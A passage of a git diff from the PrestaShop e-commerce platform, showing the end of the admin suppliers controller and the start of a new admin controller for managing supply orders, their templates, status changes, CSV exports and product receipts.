function renderForm() + { + // loads current warehouse + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Suppliers'), + 'image' => '../img/admin/suppliers.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'id_address', + ), + array( + 'type' => 'text', + 'label' => $this->l('Name'), + 'name' => 'name', + 'size' => 40, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'cols' => 60, + 'rows' => 10, + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'desc' => $this->l('Will appear in the supplier list') + ), + array( + 'type' => 'text', + 'label' => $this->l('Phone:'), + 'name' => 'phone', + 'size' => 15, + 'maxlength' => 16, + 'desc' => $this->l('Phone number for this supplier') + ), + array( + 'type' => 'text', + 'label' => $this->l('Address:'), + 'name' => 'address', + 'size' => 100, + 'maxlength' => 128, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('Address:').' (2)', + 'name' => 'address2', + 'size' => 100, + 'maxlength' => 128, + ), + array( + 'type' => 'text', + 'label' => $this->l('Postal Code/Zip Code:'), + 'name' => 'postcode', + 'size' => 10, + 'maxlength' => 12, + 'required' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('City:'), + 'name' => 'city', + 'size' => 20, + 'maxlength' => 32, + 'required' => true, + ), + array( + 'type' => 'select', + 'label' => $this->l('Country:'), + 'name' => 'id_country', + 'required' => true, + 'default_value' => (int)$this->context->country->id, + 'options' => array( + 'query' => Country::getCountries($this->context->language->id, false), + 'id' => 'id_country', + 'name' => 'name', + ), + 'desc' => $this->l('Country where the state, region or city is located') + ), + array( + 'type' => 'select', + 'label' => $this->l('State'), + 'name' => 'id_state', + 'options' => array( + 'id' => 'id_state', + 'query' => array(), + 'name' => 'name' + ) + ), + array( + 'type' => 'file', + 'label' => $this->l('Logo:'), + 'name' => 'logo', + 'display_image' => true, + 'desc' => $this->l('Upload a supplier logo from your computer') + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta title:'), + 'name' => 'meta_title', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description:'), + 'name' => 'meta_description', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'tags', + 'label' => $this->l('Meta keywords:'), + 'name' => 'meta_keywords', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}', + 'desc' => $this->l('To add "tags" click in the field, write something and then press "Enter"') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Enable:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + // loads current address for this supplier - if possible + $address = null; + if (isset($obj->id)) + { + $id_address = Address::getAddressIdBySupplierId($obj->id); + + if ($id_address > 0) + $address = new Address((int)$id_address); + } + + // force specific fields values (address) + if ($address != null) + { + $this->fields_value = array( + 'id_address' => $address->id, + 'phone' => $address->phone, + 'address' => $address->address1, + 'address2' => $address->address2, + 'postcode' => $address->postcode, + 'city' => $address->city, + 'id_country' => $address->id_country, + 'id_state' => $address->id_state, + ); + } + else + $this->fields_value = array( + 'id_address' => 0, + 'id_country' => Configuration::get('PS_COUNTRY_DEFAULT') + ); + + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + // set logo image + $image = ImageManager::thumbnail(_PS_SUPP_IMG_DIR_.'/'.$this->object->id.'.jpg', $this->table.'_'.(int)$this->object->id.'.'.$this->imageType, 350, $this->imageType, true); + $this->fields_value['image'] = $image ? $image : false; + $this->fields_value['size'] = $image ? filesize(_PS_SUPP_IMG_DIR_.'/'.$this->object->id.'.jpg') / 1000 : false; + + return parent::renderForm(); + } + + public function renderView() + { + $products = $this->object->getProductsLite($this->context->language->id); + $total_product = count($products); + for ($i = 0; $i < $total_product; $i++) + { + $products[$i] = new Product($products[$i]['id_product'], false, $this->context->language->id); + $products[$i]->loadStockData(); + // Build attributes combinations + $combinations = $products[$i]->getAttributeCombinations($this->context->language->id); + foreach ($combinations as $k => $combination) + { + $comb_infos = Supplier::getProductInformationsBySupplier($this->object->id, + $products[$i]->id, + $combination['id_product_attribute']); + $comb_array[$combination['id_product_attribute']]['product_supplier_reference'] = $comb_infos['product_supplier_reference']; + $comb_array[$combination['id_product_attribute']]['product_supplier_price_te'] = Tools::displayPrice($comb_infos['product_supplier_price_te'], new Currency($comb_infos['id_currency'])); + $comb_array[$combination['id_product_attribute']]['reference'] = $combination['reference']; + $comb_array[$combination['id_product_attribute']]['ean13'] = $combination['ean13']; + $comb_array[$combination['id_product_attribute']]['upc'] = $combination['upc']; + $comb_array[$combination['id_product_attribute']]['quantity'] = $combination['quantity']; + $comb_array[$combination['id_product_attribute']]['attributes'][] = array( + $combination['group_name'], + $combination['attribute_name'], + $combination['id_attribute'] + ); + } + + if (isset($comb_array)) + { + foreach ($comb_array as $key => $product_attribute) + { + $list = ''; + foreach ($product_attribute['attributes'] as $attribute) + $list .= $attribute[0].' - '.$attribute[1].', '; + $comb_array[$key]['attributes'] = rtrim($list, ', '); + } + isset($comb_array) ? $products[$i]->combination = $comb_array : ''; + unset($comb_array); + } + else + { + $product_infos = Supplier::getProductInformationsBySupplier($this->object->id, + $products[$i]->id, + 0); + $products[$i]->product_supplier_reference = $product_infos['product_supplier_reference']; + $products[$i]->product_supplier_price_te = Tools::displayPrice($product_infos['product_supplier_price_te'], new Currency($product_infos['id_currency'])); + } + } + + $this->tpl_view_vars = array( + 'supplier' => $this->object, + 'products' => $products, + 'stock_management' => Configuration::get('PS_STOCK_MANAGEMENT'), + 'shopContext' => Shop::getContext(), + ); + + return parent::renderView(); + } + + protected function afterImageUpload() + { + $return = true; + /* Generate image with differents size */ + if (($id_supplier = (int)Tools::getValue('id_supplier')) && + isset($_FILES) && count($_FILES) && file_exists(_PS_SUPP_IMG_DIR_.$id_supplier.'.jpg')) + { + $images_types = ImageType::getImagesTypes('suppliers'); + foreach ($images_types as $k => $image_type) + { + $file = _PS_SUPP_IMG_DIR_.$id_supplier.'.jpg'; + if (!ImageManager::resize($file, _PS_SUPP_IMG_DIR_.$id_supplier.'-'.stripslashes($image_type['name']).'.jpg', (int)$image_type['width'], (int)$image_type['height'])) + $return = false; + } + } + return $return; + } + + /** + * AdminController::postProcess() override + * @see AdminController::postProcess() + */ + public function postProcess() + { + // checks access + if (Tools::isSubmit('submitAdd'.$this->table) && !($this->tabAccess['add'] === '1')) + { + $this->errors[] = Tools::displayError('You do not have permission to add suppliers.'); + return parent::postProcess(); + } + + if (Tools::isSubmit('submitAdd'.$this->table)) + { + if (Tools::isSubmit('id_supplier') && !($obj = $this->loadObject(true))) + return; + + // updates/creates address if it does not exist + if (Tools::isSubmit('id_address') && (int)Tools::getValue('id_address') > 0) + $address = new Address((int)Tools::getValue('id_address')); // updates address + else + $address = new Address(); // creates address + + $address->alias = Tools::getValue('name', null); + $address->lastname = 'supplier'; // skip problem with numeric characters in supplier name + $address->firstname = 'supplier'; // skip problem with numeric characters in supplier name + $address->address1 = Tools::getValue('address', null); + $address->address2 = Tools::getValue('address2', null); + $address->postcode = Tools::getValue('postcode', null); + $address->phone = Tools::getValue('phone', null); + $address->id_country = Tools::getValue('id_country', null); + $address->id_state = Tools::getValue('id_state', null); + $address->city = Tools::getValue('city', null); + + $validation = $address->validateController(); + + // checks address validity + if (count($validation) > 0) + { + foreach ($validation as $item) + $this->errors[] = $item; + $this->errors[] = Tools::displayError('The address is not correct. Please make sure all of the required fields are completed.'); + } + else + { + if (Tools::isSubmit('id_address') && Tools::getValue('id_address') > 0) + $address->update(); + else + { + $address->save(); + $_POST['id_address'] = $address->id; + } + } + return parent::postProcess(); + } + else if (Tools::isSubmit('delete'.$this->table)) + { + if (!($obj = $this->loadObject(true))) + return; + else if (SupplyOrder::supplierHasPendingOrders($obj->id)) + $this->errors[] = $this->l('It is not possible to delete a supplier if there are pending supplier orders.'); + else + { + //delete all product_supplier linked to this supplier + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'product_supplier` WHERE `id_supplier`='.(int)$obj->id); + + $id_address = Address::getAddressIdBySupplierId($obj->id); + $address = new Address($id_address); + if (Validate::isLoadedObject($address)) + { + $address->deleted = 1; + $address->save(); + } + return parent::postProcess(); + } + } + else + return parent::postProcess(); + } + + /** + * @see AdminController::afterAdd() + */ + protected function afterAdd($object) + { + $id_address = (int)$_POST['id_address']; + $address = new Address($id_address); + if (Validate::isLoadedObject($address)) + { + $address->id_supplier = $object->id; + $address->save(); + } + return true; + + } + + /** + * @see AdminController::afterUpdate() + */ + protected function afterUpdate($object) + { + $id_address = (int)$_POST['id_address']; + $address = new Address($id_address); + if (Validate::isLoadedObject($address)) + { + if ($address->id_supplier != $object->id) + { + $address->id_supplier = $object->id; + $address->save(); + } + } + return true; + } + +} + diff --git a/controllers/admin/AdminSupplyOrdersController.php b/controllers/admin/AdminSupplyOrdersController.php new file mode 100755 index 0000000..7980fb4 --- /dev/null +++ b/controllers/admin/AdminSupplyOrdersController.php @@ -0,0 +1,2181 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminSupplyOrdersControllerCore extends AdminController +{ + + /* + * @var array List of warehouses + */ + protected $warehouses; + + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'supply_order'; + $this->className = 'SupplyOrder'; + $this->identifier = 'id_supply_order'; + $this->lang = false; + $this->is_template_list = false; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->addRowAction('updatereceipt'); + $this->addRowAction('changestate'); + $this->addRowAction('edit'); + $this->addRowAction('view'); + $this->addRowAction('details'); + $this->list_no_link = true; + + $this->fields_list = array( + 'reference' => array( + 'title' => $this->l('Reference'), + 'width' => 250, + 'havingFilter' => true + ), + 'supplier' => array( + 'title' => $this->l('Supplier'), + 'width' => 130, + 'filter_key' => 's!name' + ), + 'warehouse' => array( + 'title' => $this->l('Warehouse'), + 'width' => 130, + 'filter_key' => 'w!name' + ), + 'state' => array( + 'title' => $this->l('Status'), + 'width' => 200, + 'filter_key' => 'stl!name', + 'color' => 'color', + ), + 'date_add' => array( + 'title' => $this->l('Creation'), + 'width' => 150, + 'align' => 'left', + 'type' => 'date', + 'havingFilter' => true, + 'filter_key' => 'a!date_add' + ), + 'date_upd' => array( + 'title' => $this->l('Last modification'), + 'width' => 150, + 'align' => 'left', + 'type' => 'date', + 'havingFilter' => true, + 'filter_key' => 'a!date_upd' + ), + 'date_delivery_expected' => array( + 'title' => $this->l('Delivery (expected)'), + 'width' => 150, + 'align' => 'left', + 'type' => 'date', + 'havingFilter' => true, + 'filter_key' => 'a!date_delivery_expected' + ), + 'id_export' => array( + 'title' => $this->l('Export'), + 'width' => 80, + 'callback' => 'printExportIcons', + 'orderby' => false, + 'search' => false + ), + ); + + // gets the list of warehouses available + $this->warehouses = Warehouse::getWarehouses(true); + // gets the final list of warehouses + array_unshift($this->warehouses, array('id_warehouse' => -1, 'name' => $this->l('All Warehouses'))); + + parent::__construct(); + } + + /** + * AdminController::init() override + * @see AdminController::init() + */ + public function init() + { + parent::init(); + + if (Tools::isSubmit('addsupply_order') || + Tools::isSubmit('submitAddsupply_order') || + (Tools::isSubmit('updatesupply_order') && Tools::isSubmit('id_supply_order'))) + { + // override table, lang, className and identifier for the current controller + $this->table = 'supply_order'; + $this->className = 'SupplyOrder'; + $this->identifier = 'id_supply_order'; + $this->lang = false; + + $this->action = 'new'; + $this->display = 'add'; + + if (Tools::isSubmit('updatesupply_order')) + if ($this->tabAccess['edit'] === '1') + $this->display = 'edit'; + else + $this->errors[] = Tools::displayError($this->l('You do not have permission to edit this.')); + } + + if (Tools::isSubmit('update_receipt') && Tools::isSubmit('id_supply_order')) + { + // change the display type in order to add specific actions to + $this->display = 'update_receipt'; + + // display correct toolBar + $this->initToolbar(); + } + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + if (Tools::isSubmit('addsupply_order') || + Tools::isSubmit('updatesupply_order') || + Tools::isSubmit('submitAddsupply_order') || + Tools::isSubmit('submitUpdatesupply_order')) + { + + if (Tools::isSubmit('addsupply_order') || Tools::isSubmit('submitAddsupply_order')) + $this->toolbar_title = $this->l('Stock: Create a new supply order'); + + if (Tools::isSubmit('updatesupply_order') || Tools::isSubmit('submitUpdatesupply_order')) + $this->toolbar_title = $this->l('Stock: Manage supply orders'); + + if (Tools::isSubmit('mod') && Tools::getValue('mod') === 'template' || $this->object->is_template) + $this->toolbar_title .= ' ('.$this->l('template').')'; + + $this->addJqueryUI('ui.datepicker'); + + //get warehouses list + $warehouses = Warehouse::getWarehouses(true); + + // displays warning if there are no warehouses + if (!$warehouses) + $this->displayWarning($this->l('You must have at least one warehouse. See Stock/Warehouses')); + + //get currencies list + $currencies = Currency::getCurrencies(); + $id_default_currency = Configuration::get('PS_CURRENCY_DEFAULT'); + $default_currency = Currency::getCurrency($id_default_currency); + if ($default_currency) + $currencies = array_merge(array($default_currency, '-'), $currencies); + + //get suppliers list + $suppliers = Supplier::getSuppliers(); + + //get languages list + $languages = Language::getLanguages(true); + $id_default_lang = Configuration::get('PS_LANG_DEFAULT'); + $default_lang = Language::getLanguage($id_default_lang); + if ($default_lang) + $languages = array_merge(array($default_lang, '-'), $languages); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Order information'), + 'image' => '../img/admin/edit.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Reference:'), + 'name' => 'reference', + 'size' => 50, + 'required' => true, + 'desc' => $this->l('Here\'s the reference number for your order.'), + ), + array( + 'type' => 'select', + 'label' => $this->l('Supplier:'), + 'name' => 'id_supplier', + 'required' => true, + 'options' => array( + 'query' => $suppliers, + 'id' => 'id_supplier', + 'name' => 'name' + ), + 'desc' => $this->l('Select the supplier you\'ll be purchasing from.'), + 'hint' => $this->l('Warning: All products already added to the order will be removed.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Warehouse:'), + 'name' => 'id_warehouse', + 'required' => true, + 'options' => array( + 'query' => $warehouses, + 'id' => 'id_warehouse', + 'name' => 'name' + ), + 'desc' => $this->l('Which warehouse will the order be sent to?'), + ), + array( + 'type' => 'select', + 'label' => $this->l('Currency:'), + 'name' => 'id_currency', + 'required' => true, + 'options' => array( + 'query' => $currencies, + 'id' => 'id_currency', + 'name' => 'name' + ), + 'desc' => $this->l('The currency of the order.'), + 'hint' => $this->l('Warning: All products already added to the order will be removed.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Order Language:'), + 'name' => 'id_lang', + 'required' => true, + 'options' => array( + 'query' => $languages, + 'id' => 'id_lang', + 'name' => 'name' + ), + 'desc' => $this->l('The language of the order.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Global discount rate (%):'), + 'name' => 'discount_rate', + 'size' => 10, + 'required' => true, + 'desc' => $this->l('This is the global discount rate in percent for the order.'), + ), + array( + 'type' => 'text', + 'label' => $this->l('Automatically load products:'), + 'name' => 'load_products', + 'size' => 10, + 'required' => false, + 'hint' => $this->l('This will reset the order'), + 'desc' => $this->l('If specified, each product quantity less than or equal to this value will be loaded.'), + ), + ), + 'submit' => array( + 'title' => $this->l('Save order'), + ) + ); + + if (Tools::isSubmit('mod') && Tools::getValue('mod') === 'template' || + $this->object->is_template) + { + + $this->fields_form['input'][] = array( + 'type' => 'hidden', + 'name' => 'is_template' + ); + + $this->fields_form['input'][] = array( + 'type' => 'hidden', + 'name' => 'date_delivery_expected', + ); + } + else + { + $this->fields_form['input'][] = array( + 'type' => 'date', + 'label' => $this->l('Expected delivery date:'), + 'name' => 'date_delivery_expected', + 'size' => 10, + 'required' => true, + 'desc' => $this->l('The expected delivery date for this order is...'), + ); + } + + //specific discount display + if (isset($this->object->discount_rate)) + $this->object->discount_rate = Tools::ps_round($this->object->discount_rate, 4); + + //specific date display + + if (isset($this->object->date_delivery_expected)) + { + $date = explode(' ', $this->object->date_delivery_expected); + if ($date) + $this->object->date_delivery_expected = $date[0]; + } + + $this->displayInformation( + $this->l('If you wish to order products, they have to be available for the specified supplier/warehouse.') + .' '. + $this->l('See Catalog/Products/Your Product/Suppliers & Warehouses') + .'<br />'. + $this->l('Changing the currency or the supplier will reset the order.') + .'<br />' + .'<br />'. + $this->l('Please note that you can only order from one supplier at a time.') + ); + return parent::renderForm(); + } + + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + if (Tools::isSubmit('csv_orders') || Tools::isSubmit('csv_orders_details') || Tools::isSubmit('csv_order_details')) + $limit = false; + + // defines button specific for non-template supply orders + if (!$this->is_template_list) + { + // adds export csv buttons + $this->toolbar_btn['export-csv-orders'] = array( + 'short' => 'Export Orders', + 'href' => $this->context->link->getAdminLink('AdminSupplyOrders').'&csv_orders&id_warehouse='.$this->getCurrentWarehouse(), + 'desc' => $this->l('Export Orders (CSV)'), + ); + + $this->toolbar_btn['export-csv-details'] = array( + 'short' => 'Export Orders Details', + 'href' => $this->context->link->getAdminLink('AdminSupplyOrders').'&csv_orders_details&id_warehouse='.$this->getCurrentWarehouse(), + 'desc' => $this->l('Export Orders Details (CSV)'), + ); + + unset($this->toolbar_btn['new']); + if ($this->tabAccess['add'] === '1') + { + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, + 'desc' => $this->l('Add New') + ); + } + } + + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + // adds colors depending on the receipt state + if ($order_by == 'quantity_expected') + { + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + if ($item['quantity_received'] == $item['quantity_expected']) + $item['color'] = '#00bb35'; + else if ($item['quantity_received'] > $item['quantity_expected']) + $item['color'] = '#fb0008'; + } + } + + // actions filters on supply orders list + if ($this->table == 'supply_order') + { + $nb_items = count($this->_list); + + for ($i = 0; $i < $nb_items; $i++) + { + // if the current state doesn't allow order edit, skip the edit action + if ($this->_list[$i]['editable'] == 0) + $this->addRowActionSkipList('edit', $this->_list[$i]['id_supply_order']); + if ($this->_list[$i]['enclosed'] == 1 && $this->_list[$i]['receipt_state'] == 0) + $this->addRowActionSkipList('changestate', $this->_list[$i]['id_supply_order']); + if (1 != $this->_list[$i]['pending_receipt']) + $this->addRowActionSkipList('updatereceipt', $this->_list[$i]['id_supply_order']); + } + } + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + $this->displayInformation($this->l('This interface allows you to manage supply orders.').'<br />'); + $this->displayInformation($this->l('You can create templates to generate actual orders.').'<br />'); + + if (count($this->warehouses) <= 1) + $this->displayWarning($this->l('You must choose at least one warehouse before creating supply orders. For more information, see Stock/Warehouses.')); + + // assigns warehouses + $this->tpl_list_vars['warehouses'] = $this->warehouses; + $this->tpl_list_vars['current_warehouse'] = $this->getCurrentWarehouse(); + $this->tpl_list_vars['filter_status'] = $this->getFilterStatus(); + + // overrides query + $this->_select = ' + s.name AS supplier, + w.name AS warehouse, + stl.name AS state, + st.delivery_note, + st.editable, + st.enclosed, + st.receipt_state, + st.pending_receipt, + st.color AS color, + a.id_supply_order as id_export'; + + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'supply_order_state_lang` stl ON + ( + a.id_supply_order_state = stl.id_supply_order_state + AND stl.id_lang = '.(int)$this->context->language->id.' + ) + LEFT JOIN `'._DB_PREFIX_.'supply_order_state` st ON a.id_supply_order_state = st.id_supply_order_state + LEFT JOIN `'._DB_PREFIX_.'supplier` s ON a.id_supplier = s.id_supplier + LEFT JOIN `'._DB_PREFIX_.'warehouse` w ON (w.id_warehouse = a.id_warehouse)'; + + $this->_where = ' AND a.is_template = 0'; + + if ($this->getCurrentWarehouse() != -1) + { + $this->_where .= ' AND a.id_warehouse = '.$this->getCurrentWarehouse(); + self::$currentIndex .= '&id_warehouse='.(int)$this->getCurrentWarehouse(); + } + + if ($this->getFilterStatus() != 0) + { + $this->_where .= ' AND st.enclosed != 1'; + self::$currentIndex .= '&filter_status=on'; + } + $first_list = parent::renderList(); + + if (Tools::isSubmit('csv_orders') || Tools::isSubmit('csv_orders_details') || Tools::isSubmit('csv_order_details')) + { + if (count($this->_list) > 0) + { + $this->renderCSV(); + die; + } + else + $this->displayWarning($this->l('There is nothing to export as a CSV.')); + } + + // second list : templates + $second_list = null; + $this->is_template_list = true; + unset($this->tpl_list_vars['warehouses']); + unset($this->tpl_list_vars['current_warehouse']); + unset($this->tpl_list_vars['filter_status']); + + // unsets actions + $this->actions = array(); + unset($this->toolbar_btn['export-csv-orders']); + unset($this->toolbar_btn['export-csv-details']); + // adds actions + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('createsupplyorder'); + $this->addRowAction('delete'); + // unsets some fields + unset($this->fields_list['state'], + $this->fields_list['date_upd'], + $this->fields_list['id_pdf'], + $this->fields_list['date_delivery_expected'], + $this->fields_list['id_export']); + + // $this->fields_list['date_add']['align'] = 'left'; + + // adds filter, to gets only templates + unset($this->_where); + $this->_where = ' AND a.is_template = 1'; + if ($this->getCurrentWarehouse() != -1) + $this->_where .= ' AND a.id_warehouse = '.$this->getCurrentWarehouse(); + + // re-defines toolbar & buttons + $this->toolbar_title = $this->l('Stock: Supply order templates'); + $this->initToolbar(); + unset($this->toolbar_btn['new']); + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&add'.$this->table.'&mod=template&token='.$this->token, + 'desc' => $this->l('Add new template') + ); + // inits list + $second_list = parent::renderList(); + + return $first_list.$second_list; + } + + /** + * Init the content of change state action + */ + public function initChangeStateContent() + { + $id_supply_order = (int)Tools::getValue('id_supply_order', 0); + + if ($id_supply_order <= 0) + { + $this->errors[] = Tools::displayError($this->l('The specified supply order is not valid')); + return parent::initContent(); + } + + $supply_order = new SupplyOrder($id_supply_order); + $supply_order_state = new SupplyOrderState($supply_order->id_supply_order_state); + + if (!Validate::isLoadedObject($supply_order) || !Validate::isLoadedObject($supply_order_state)) + { + $this->errors[] = Tools::displayError($this->l('The specified supply order is not valid')); + return parent::initContent(); + } + + // change the display type in order to add specific actions to + $this->display = 'update_order_state'; + // overrides parent::initContent(); + $this->initToolbar(); + + // given the current state, loads available states + $states = SupplyOrderState::getSupplyOrderStates($supply_order->id_supply_order_state); + + // gets the state that are not allowed + $allowed_states = array(); + foreach ($states as &$state) + { + $allowed_states[] = $state['id_supply_order_state']; + $state['allowed'] = 1; + } + $not_allowed_states = SupplyOrderState::getStates($allowed_states); + + // generates the final list of states + $index = count($allowed_states); + foreach ($not_allowed_states as &$not_allowed_state) + { + $not_allowed_state['allowed'] = 0; + $states[$index] = $not_allowed_state; + ++$index; + } + + // loads languages + $this->getlanguages(); + + // defines the fields of the form to display + $this->fields_form[]['form'] = array( + 'legend' => array( + 'title' => $this->l('Supply order status'), + 'image' => '../img/admin/cms.gif' + ), + ); + + $this->displayInformation($this->l('Be careful when changing status\'. Some of those changes cannot be canceled. ')); + + // sets up the helper + $helper = new HelperForm(); + $helper->submit_action = 'submitChangestate'; + $helper->currentIndex = self::$currentIndex; + $helper->toolbar_btn = $this->toolbar_btn; + $helper->toolbar_scroll = false; + $helper->token = $this->token; + $helper->id = null; // no display standard hidden field in the form + $helper->languages = $this->_languages; + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + $helper->title = sprintf($this->l('Stock: Change supply order status #%s'), $supply_order->reference); + + $helper->override_folder = 'supply_orders_change_state/'; + + // assigns our content + $helper->tpl_vars['show_change_state_form'] = true; + $helper->tpl_vars['supply_order_state'] = $supply_order_state; + $helper->tpl_vars['supply_order'] = $supply_order; + $helper->tpl_vars['supply_order_states'] = $states; + + // generates the form to display + $content = $helper->generateForm($this->fields_form); + + $this->context->smarty->assign(array( + 'content' => $content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + /** + * Init the content of change state action + */ + public function initUpdateSupplyOrderContent() + { + $this->addJqueryPlugin('autocomplete'); + + // load supply order + $id_supply_order = (int)Tools::getValue('id_supply_order', null); + + if ($id_supply_order != null) + { + $supply_order = new SupplyOrder($id_supply_order); + + $currency = new Currency($supply_order->id_currency); + + if (Validate::isLoadedObject($supply_order)) + { + // load products of this order + $products = $supply_order->getEntries(); + $product_ids = array(); + + if (isset($this->order_products_errors) && is_array($this->order_products_errors)) + { + //for each product in error array, check if it is in products array, and remove it to conserve last user values + foreach ($this->order_products_errors as $pe) + foreach ($products as $index_p => $p) + if (($p['id_product'] == $pe['id_product']) && ($p['id_product_attribute'] == $pe['id_product_attribute'])) + unset($products[$index_p]); + + // then merge arrays + $products = array_merge($this->order_products_errors, $products); + } + + foreach ($products as &$item) + { + // calculate md5 checksum on each product for use in tpl + $item['checksum'] = md5(_COOKIE_KEY_.$item['id_product'].'_'.$item['id_product_attribute']); + $item['unit_price_te'] = Tools::ps_round($item['unit_price_te'], 2); + + // add id to ids list + $product_ids[] = $item['id_product'].'_'.$item['id_product_attribute']; + } + + $this->tpl_form_vars['products_list'] = $products; + $this->tpl_form_vars['product_ids'] = implode($product_ids, '|'); + $this->tpl_form_vars['product_ids_to_delete'] = ''; + $this->tpl_form_vars['supplier_id'] = $supply_order->id_supplier; + $this->tpl_form_vars['currency'] = $currency; + } + } + + $this->tpl_form_vars['content'] = $this->content; + $this->tpl_form_vars['token'] = $this->token; + $this->tpl_form_vars['show_product_management_form'] = true; + + // call parent initcontent to render standard form content + parent::initContent(); + } + + /** + * Inits the content of 'update_receipt' action + * Called in initContent() + * @see AdminSuppliersOrders::initContent() + */ + public function initUpdateReceiptContent() + { + $id_supply_order = (int)Tools::getValue('id_supply_order', null); + + // if there is no order to fetch + if (null == $id_supply_order) + return parent::initContent(); + + $supply_order = new SupplyOrder($id_supply_order); + + // if it's not a valid order + if (!Validate::isLoadedObject($supply_order)) + return parent::initContent(); + + // re-defines fields_list + $this->fields_list = array( + 'supplier_reference' => array( + 'title' => $this->l('Supplier Reference'), + 'align' => 'left', + 'width' => 50, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'reference' => array( + 'title' => $this->l('Reference'), + 'align' => 'left', + 'width' => 30, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'ean13' => array( + 'title' => $this->l('EAN13'), + 'align' => 'left', + 'width' => 30, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'upc' => array( + 'title' => $this->l('UPC'), + 'align' => 'left', + 'width' => 30, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'name' => array( + 'title' => $this->l('Name'), + 'align' => 'left', + 'width' => 300, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'quantity_received_today' => array( + 'title' => $this->l('Quantity received today?'), + 'align' => 'left', + 'width' => 20, + 'type' => 'editable', + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'hint' => $this->l('Enter here the quantity you received today'), + ), + 'quantity_received' => array( + 'title' => $this->l('Quantity received'), + 'align' => 'left', + 'width' => 20, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'hint' => 'Note that you can see details on the receptions - per products', + ), + 'quantity_expected' => array( + 'title' => $this->l('Quantity expected'), + 'align' => 'left', + 'width' => 40, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'quantity_left' => array( + 'title' => $this->l('Quantity left'), + 'align' => 'left', + 'width' => 20, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'hint' => $this->l('This is the quantity left to receive'), + ) + ); + + // attributes override + unset($this->_select, $this->_join, $this->_where, $this->_orderBy, $this->_orderWay, $this->_group, $this->_filterHaving, $this->_filter); + $this->table = 'supply_order_detail'; + $this->identifier = 'id_supply_order_detail'; + $this->className = 'SupplyOrderDetail'; + $this->list_simple_header = false; + $this->list_no_link = true; + $this->colorOnBackground = true; + $this->row_hover = false; + $this->bulk_actions = array('Update' => array('text' => $this->l('Update selected'), 'confirm' => $this->l('Update selected items?'))); + $this->addRowAction('details'); + + // sets toolbar title with order reference + $this->toolbar_title = sprintf($this->l('Receipt of products for supply order #%s'), $supply_order->reference); + + $this->lang = false; + $lang_id = (int)$this->context->language->id; //employee lang + + // gets values corresponding to fields_list + $this->_select = ' + a.id_supply_order_detail as id, + a.quantity_received as quantity_received, + a.quantity_expected as quantity_expected, + IF (a.quantity_expected < a.quantity_received, 0, a.quantity_expected - a.quantity_received) as 